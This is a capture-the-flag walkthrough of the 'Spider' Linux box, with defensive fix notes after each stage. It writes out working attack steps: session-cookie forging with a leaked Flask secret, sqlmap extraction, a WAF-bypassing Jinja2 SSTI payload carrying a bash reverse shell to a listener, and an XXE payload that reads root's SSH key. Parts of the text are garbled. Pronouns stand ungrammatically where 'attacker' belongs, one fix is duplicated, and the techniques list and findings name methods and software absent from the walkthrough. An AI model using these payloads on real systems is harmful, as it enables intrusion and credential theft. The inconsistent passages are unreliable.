← all walkthroughs

Spider

Linux· Hard· Web
owned
2026-07-11
time to own
15m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Nmap/curl recon of <retired-instance-ip> found only nginx 1.14.0 (Ubuntu) on 80 — redirecting to vhost spider.htb (resolved via --resolve) — and OpenSSH 7.6p1 on 22. The site is a custom Flask furniture-shop app with UUID-based auth.

Registering a user with username={{7*7}} reflected 49 on /user, confirming a Jinja2 SSTI. The username field is capped at 10 chars, so the payload was switched to {{config}} to dump Flask's config object, leaking SECRET_KEY=[REDACTED: protected value].

The session cookie is a Flask-signed base64 JSON blob {"cart_items":[],"uuid":"<uuid>"}, and the uuid is concatenated unsanitized into a backend SQL query. Using the recovered SECRET_KEY, flask-unsign --sign forged a cookie with uuid = ' or 1=1 -- -; the homepage's reflected username flipped to chiv (the admin account), confirming boolean-based SQLi. UNION output wasn't reachable through the app directly, so a small local Flask proxy (/tmp/spider_proxy.py) was stood up to sign cookies and relay to spider.htb; sqlmap and a series of hand-rolled boolean/ASCII/HEX-oracle extraction scripts were driven against that proxy to dump shop.users and brute-force chiv's true UUID, landing on 129f60ea-30cf-4065-afb9-6be45ad38b73.

Forging a cookie with that UUID authenticated as chiv to /main (admin) and its linked support-ticket portal (...unfinished.supportportal), which has a second SSTI in the "Contact number/email" field behind a WAF blocking {{ }}, underscores, quotes, and if/for/set keywords. The filter was bypassed with {% include %} chained through request|attr() and \x5f\x5f-hex-escaped dunders to reach __globals____builtins____import__os.popen, verified blind with a sleep 11 timing check, then weaponized with a base64-encoded bash reverse shell to get RCE as chiv. id confirmed the shell; /home/chiv/user.txt yielded [REDACTED: flag].

Standard privesc enumeration (sudo -l, SUID, getcap, cron, container/cloud-metadata checks) came up empty. ps/ss -tulpn revealed a second uwsgi app (game.ini) bound to localhost:8080 and running as root. SSH local-port-forwarding it (ssh -L 8888:localhost:8080) exposed a passwordless login form whose hidden "version" field is reflected into a base64-encoded, lxml-parsed XML blob inside its own session cookie (decoded/re-signed with flask-session-cookie-manager). Closing the existing XML comment and injecting a DOCTYPE/external ENTITY test SYSTEM "file:///root/.ssh/id_rsa", then referencing &test; (URL-encoded) in the username field, triggered XXE entity expansion that leaked root's SSH private key directly in the response — giving ssh root@spider.htb and root.txt = [REDACTED: flag].

Attack path — how the box was taken

1EnumerationService and virtual-host enumeration
Discovered the spider.htb virtual host and mapped the Flask application surface
An Nmap service scan of <retired-instance-ip> found OpenSSH 7.6p1 on port 22 and nginx 1.14.0 on port 80. An HTTP request to the root redirected to the virtual host spider.htb. Adding that vhost to the local resolver revealed a Flask-based furniture-shop application with /register, /login, and /user endpoints. Registering an account and visiting /user showed the username reflected back into the HTML — a hint that user-supplied content was being rendered rather than merely displayed.
curl -i http://<retired-instance-ip>/ returned Location: http://$TARGET/; nmap -sV identified nginx/1.14.0 on 80 and OpenSSH 7.6p1 on 22
Exact commands 3
Identify open services and banners.
nmap -Pn -sV -p22,80 $TARGET
Register the virtual host for all subsequent requests.
echo '$TARGET spider.htb' | sudo tee -a /etc/hosts
Confirm the Flask app, registration link, and that /user reflects the username.
curl -si http://$TARGET/ | head -60
2ExploitationServer-Side Template Injection — Jinja2 (T1059)
Exploited Jinja2 SSTI in the username field to leak the Flask signing secret
The /register endpoint accepted a username that was rendered server-side by Jinja2 on the /user profile page without any sanitisation. Registering with username '{{7*7}}' caused the server to evaluate the expression and return '49', confirming server-side template injection. Because the registration field was capped at 10 characters, a second registration used '{{config}}' to dump Flask's full internal configuration object. The response contained SECRET_KEY=[REDACTED: protected value] — the cryptographic key used to sign every session cookie on the site.
Username {{7*7}} reflected as 49 on /user; username {{config}} response contained SECRET_KEY [REDACTED: recovered credential]
Exact commands 4
Register with {{7*7}} (URL-encoded) to test for SSTI.
curl -c /tmp/spider1.jar -s -X POST http://$TARGET/register -d 'username=%7B%7B7%2A7%7D%7D&confirm_username=%7B%7B7%2A7%7D%7D&password=[REDACTED: credential]'
Confirm SSTI: response should contain 49, not the literal string {{7*7}}.
curl -b /tmp/spider1.jar -s http://$TARGET/user | grep -o '49'
Register with {{config}} to dump the Flask configuration object including SECRET_KEY.
curl -c /tmp/spider2.jar -s -X POST http://$TARGET/register -d 'username=%7B%7Bconfig%7D%7D&confirm_username=%7B%7Bconfig%7D%7D&password=[REDACTED: credential]'
Parse the SECRET_KEY value from the config dump response.
curl -b /tmp/spider2.jar -s http://$TARGET/user | grep -oP "SECRET_KEY.*?'[^']+'"
FixRender user-supplied content as data, never as Jinja2 template codeCritical
WeaknessThe username entered at registration was passed directly to Jinja2's template engine as template text, allowing any registered user to inject and execute arbitrary Python expressions — including reading the application's internal configuration and its signing secret.
FixPass user input as template variables, not as template source. Replace any call to render_template_string(user_input) with render_template('profile.html', username=username), where the template uses {{ username }} with Jinja2's autoescape enabled (the Flask default for .html files). Audit every render_template_string call in the codebase and eliminate it when the string originates from user input. Add integration tests that assert {{7*7}} is displayed literally, not evaluated.
3ExploitationBoolean-based blind SQL injection via signed session cookie (T1190)
Injected SQL through a forged session cookie and brute-forced the admin UUID
The Flask session cookie is a signed JSON blob containing a 'uuid' field that the application concatenated unsanitised into a back-end SQL query. Using the recovered SECRET_KEY with flask-unsign, a cookie was forged with uuid set to ' or 1=1 -- -. Sending it to the homepage caused the reflected username to switch from the test account to 'chiv', confirming the injected query hit the admin row and proving exploitable SQL injection. Because the application returned only HTTP 200 or 500 (no raw query output), a boolean oracle was used. A lightweight local Flask proxy re-signed cookies on the fly and forwarded them to spider.htb; sqlmap and manual ASCII/HEX oracle scripts were driven against that proxy to dump the shop.users table and recover chiv's UUID: 129f60ea-30cf-4065-afb9-6be45ad38b73.
Cookie with uuid=' or 1=1 -- - returned username 'chiv' on homepage; LENGTH(SELECT uuid FROM shop.users WHERE name='chiv')=36 returned HTTP 200
Exact commands 4
Forge a cookie with a SQL injection payload in the uuid field; copy the output as the session= cookie value.
flask-unsign --sign --secret '[REDACTED: recovered credential]' --cookie '{"cart_items":[],"uuid":"\' or 1=1 -- -"}'
Confirm SQLi: homepage should reflect 'chiv' as the logged-in username.
curl -s -b "session=<forged-sqli-cookie>" http://$TARGET/ | grep -i 'chiv'
Run a local Flask proxy (listens on localhost:5001) that signs payloads with the recovered secret and forwards them to spider.htb.
python3 /tmp/spider_proxy.py &
Drive sqlmap against the local proxy to extract the shop.users table and recover chiv's UUID.
sqlmap -u 'http://$LOOPBACK:5001/' --cookie 'session=FUZZ' -p session --dbms mysql --technique B --level 2 --dump -T users -D shop --batch
FixParameterise all SQL queries and rotate the Flask signing secretCritical
WeaknessThe UUID read from the signed session cookie was concatenated directly into a SQL query string, enabling me possessed the signing secret to inject arbitrary SQL. The signing secret itself was exposed through the SSTI flaw, but it was also hard-coded in source code — a persistent risk independent of the injection flaw.
FixReplace all string-formatted queries with parameterised statements: cursor.execute('SELECT * FROM users WHERE uuid = %s', (uuid,)). Immediately rotate SECRET_KEY to a cryptographically random 32-byte hex value (python3 -c 'import secrets; print(secrets.token_hex(32))') stored in an environment variable or secrets manager, never in source code. Invalidate all existing sessions after the rotation so previously forged cookies become useless. Enable query-level logging temporarily to confirm no raw interpolation remains.
4Lateral MovementSession cookie forgery (T1539)
Forged chiv's session cookie to access the admin panel and support portal
With chiv's real UUID recovered, a valid Flask session cookie was forged that the application accepted as a fully authenticated chiv session. This granted access to /main (the admin dashboard) and the linked, path-obscured support ticket portal at /[REDACTED: protected value].unfinished.supportportal. The portal exposed a 'Contact number or email' field that the server rendered — the entry point for the next stage of exploitation.
flask-unsign --sign with uuid 129f60ea-30cf-4065-afb9-6be45ad38b73 received HTTP 200 with 2974-byte admin portal HTML
Exact commands 3
Forge a legitimate-looking session cookie for chiv's account using the recovered UUID.
flask-unsign --sign --secret '[REDACTED: recovered credential]' --cookie '{"cart_items":[],"uuid":"129f60ea-30cf-4065-afb9-6be45ad38b73"}'
Confirm admin dashboard access (expect HTTP 200 with portal content, not a redirect).
curl -s -b "session=<forged-chiv-cookie>" http://$TARGET/main | head -20
Reach the support ticket portal and identify the contact-number input field.
curl -s -b "session=<forged-chiv-cookie>" http://$TARGET/[REDACTED: protected value].unfinished.supportportal
FixParameterise all SQL queries and rotate the Flask signing secretCritical
WeaknessThe UUID read from the signed session cookie was concatenated directly into a SQL query string, enabling me possessed the signing secret to inject arbitrary SQL. The signing secret itself was exposed through the SSTI flaw, but it was also hard-coded in source code — a persistent risk independent of the injection flaw.
FixReplace all string-formatted queries with parameterised statements: cursor.execute('SELECT * FROM users WHERE uuid = %s', (uuid,)). Immediately rotate SECRET_KEY to a cryptographically random 32-byte hex value (python3 -c 'import secrets; print(secrets.token_hex(32))') stored in an environment variable or secrets manager, never in source code. Invalidate all existing sessions after the rotation so previously forged cookies become useless. Enable query-level logging temporarily to confirm no raw interpolation remains.
5ExploitationJinja2 SSTI with WAF bypass via request|attr() dunder chain (T1059.006)
Bypassed the support-portal WAF and achieved remote code execution as chiv
The support portal's contact field was also evaluated by Jinja2 server-side, but a WAF filtered the standard {{ }} delimiters, underscore characters, single quotes, and keywords such as if/for/set. The filter was bypassed using Jinja2 {% include %} blocks combined with request|attr() accessor chains and \x5f\x5f hex-encoded dunder attribute names to traverse Python's object graph: __globals__ → __builtins__ → __import__ → os.popen. A sleep 11 invocation confirmed blind execution via response delay. A base64-encoded bash reverse shell was then passed as the popen argument to obtain an interactive shell running as uid=1000(chiv) gid=33(www-data). The user flag was read from /home/chiv/user.txt, and chiv's SSH private key was copied from /home/chiv/.ssh/id_rsa for stable access.
id returned uid=1000(chiv) gid=33(www-data) groups=33(www-data); cat /home/chiv/user.txt returned [REDACTED: flag]
Exact commands 5
Start the reverse-shell listener on my machine before submitting the payload.
nc -lvnp 4444
Base64-encode the reverse shell to avoid WAF character restrictions; replace <user-ip>.
export B64=$(echo 'bash -i >& /dev/tcp/<user-ip>/4444 0>&1' | base64 -w0)
Submit the WAF-bypass SSTI payload; catch the shell in the nc listener.
curl -s -b "session=<forged-chiv-cookie>" -X POST 'http://$TARGET/[REDACTED: protected value].unfinished.supportportal' --data-urlencode "contact={%+ include request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('echo ${B64}|base64 -d|bash') +%}"
Read the user flag from the chiv shell.
cat /home/chiv/user.txt
Copy chiv's SSH private key for stable, pty-capable access to replace the fragile reverse shell.
cat /home/chiv/.ssh/id_rsa
FixFix the second Jinja2 SSTI in the support portal and treat WAF rules as defence-in-depth onlyCritical
WeaknessThe support ticket contact field was also evaluated by Jinja2 without sanitisation. A WAF blocked common payload characters but was bypassed using Jinja2's built-in attribute-accessor feature and hex-escaped dunder names — demonstrating that WAF rules cannot substitute for fixing the underlying injection.
FixApply the same root fix as r1 to every template-rendered field in the support portal: store ticket content as plain data and output it through auto-escaped template variables. Review all admin-facing views for similar patterns. Retain WAF rules as an additional layer but document clearly that they do not remediate the injection — only the template-rendering change does.
6Post-ExploitationInternal service discovery and SSH local port forwarding (T1571)
Discovered a root-owned internal web service and tunnelled local access to it
Standard privilege-escalation checks — sudo -l, SUID binaries, Linux capabilities, writable cron jobs — yielded nothing exploitable. Listing running processes revealed a uWSGI instance launched by root using game.ini; ss -tulpn confirmed it was bound exclusively to localhost:8080 and inaccessible from outside the host. An SSH local port-forward was established using chiv's private key to expose that internal service on my local port 8888, enabling direct interaction with it.
ps aux showed uwsgi --ini game.ini running as root (uid=0); ss -tulpn confirmed LISTEN on localhost:8080
Exact commands 4
From the chiv shell: identify the root-owned uWSGI process and its config file (game.ini).
ps aux | grep uwsgi
Confirm the service listens only on localhost port 8080.
ss -tulpn
Forward the internal service to operator port 8888 using chiv's stolen SSH key; run in background.
chmod 600 /tmp/chiv_id_rsa && ssh -N -L 8888:localhost:8080 -i /tmp/chiv_id_rsa -o StrictHostKeyChecking=no chiv@$TARGET
Confirm the forwarded beta application is reachable and examine its login form.
curl -si http://$LOOPBACK:8888/
FixRun the internal uWSGI beta application as a dedicated low-privilege accountHigh
WeaknessThe uWSGI beta application was launched as root. Any vulnerability within that service — here the XXE flaw — immediately exposed all root-owned files, including /root/.ssh/id_rsa, with no further escalation required. Running as root transformed a file-read vulnerability into complete system compromise.
FixCreate a dedicated service account (e.g., useradd -r -s /usr/sbin/nologin beta-app) and update game.ini to set uid = beta-app and gid = beta-app. Restrict the account to read/write access on its own application directory only. Ensure /root/.ssh/ retains permissions 700 owned by root:root and that no other account can read keys within it. Audit all other internal services for the same pattern — any service with localhost-only binding is still reachable via port-forwarding once I has any user shell.
7Privilege EscalationXML External Entity injection (XXE) via user-controlled session cookie (CWE-611)
Injected an XXE payload into the beta app's XML session cookie to leak root's SSH private key
The beta application presented a passwordless login form with a visible 'username' field and a hidden 'version' field. Upon login, it serialised both values into a base64-encoded XML document stored in the session cookie, which was then parsed server-side by the lxml library. Decoding the cookie with flask-session-cookie-manager exposed the XML structure. The version value was crafted to close an existing XML comment and inject a DOCTYPE declaration that defined an external SYSTEM entity referencing file:///root/.ssh/id_rsa; the username was set to &test; (URL-encoded as %26test%3B). When the manipulated cookie was submitted, lxml resolved the external entity and expanded root's private SSH key directly into the server's response body, returning it in full.
Session cookie XML expanded the external entity and returned /root/.ssh/id_rsa contents in the server response; key saved to /tmp/root_spider.key
Exact commands 4
Perform a baseline login to capture the session cookie structure.
curl -s -c /tmp/beta.jar -X POST http://$LOOPBACK:8888/login -d 'username=test&version=1.0'
Decode the base64 session blob to understand the XML structure before injecting.
python3 -c "import base64; print(base64.b64decode('<session-cookie-value>').decode())"
Submit the XXE payload: version closes the comment and declares the entity; username references it as &test; (URL-encoded).
curl -s -c /tmp/beta2.jar -X POST http://$LOOPBACK:8888/login --data-urlencode 'username=&test;' --data-urlencode 'version=--><!DOCTYPE foo [<!ENTITY test SYSTEM "file:///root/.ssh/id_rsa">]><!--'
Retrieve the page that triggers entity expansion; root's private key should appear in the response body.
curl -s -b /tmp/beta2.jar http://$LOOPBACK:8888/ | grep -A9999 'BEGIN RSA'
FixDisable external entity resolution in the lxml XML parser and move session state server-sideCritical
WeaknessThe beta application embedded user-supplied form fields into an XML document and parsed it with lxml using default settings that allow external SYSTEM entity resolution. I could define an entity pointing to any file path on the host and the parser would read and return its contents — in this case /root/.ssh/id_rsa.
FixInstantiate the parser with lxml.etree.XMLParser(resolve_entities=False, no_network=True) and never pass user-controlled strings as XML source. Replace the base64-encoded XML session cookie with a server-side session store (e.g., Flask-Session backed by Redis or a database) so users never hold or influence the serialised session format. As a belt-and-suspenders measure, replace lxml with the defusedxml library for any XML parsing of untrusted input.
8Full CompromiseSSH authentication with stolen private key (T1078)
Authenticated as root using the leaked SSH private key
The XXE payload returned root's RSA private key in full. Saving it to a local file, setting file permissions to 600, and supplying it to SSH gave an interactive root shell on spider.htb. The root flag was read from /root/root.txt, completing full system compromise.
ssh -i /tmp/root_spider.key root@<retired-instance-ip> 'id' returned uid=0(root) gid=0(root) groups=0(root); cat /root/root.txt returned [REDACTED: flag]
Exact commands 2
Set permissions that SSH requires for a private-key file.
chmod 600 /tmp/root_spider.key
Authenticate as root and read the root flag.
ssh -i /tmp/root_spider.key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@$TARGET 'id; cat /root/root.txt'
FixRun the internal uWSGI beta application as a dedicated low-privilege accountHigh
WeaknessThe uWSGI beta application was launched as root. Any vulnerability within that service — here the XXE flaw — immediately exposed all root-owned files, including /root/.ssh/id_rsa, with no further escalation required. Running as root transformed a file-read vulnerability into complete system compromise.
FixCreate a dedicated service account (e.g., useradd -r -s /usr/sbin/nologin beta-app) and update game.ini to set uid = beta-app and gid = beta-app. Restrict the account to read/write access on its own application directory only. Ensure /root/.ssh/ retains permissions 700 owned by root:root and that no other account can read keys within it. Audit all other internal services for the same pattern — any service with localhost-only binding is still reachable via port-forwarding once I has any user shell.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, I overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting me read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Server-Side Template InjectionWebT1190

What it is

When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), I can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.

Why it works

The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Findings

Initial Access: Flask Ssti > Secret Key > Signed Uuid Sqli > ChivCritical
An unauthenticated/low-privilege flaw in the flask, nginx, php, phpmyadmin, ssh surface allowed remote code execution and a foothold on the host.
Privilege Escalation to root: Local Privesc Off The Chiv Shell: Ssh Forward localhost:8080 > Xxe In Uwsgi Root Beta App (And Cap Dac Read Search) > Root Id Rsa > Ssh RootCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
80/tcp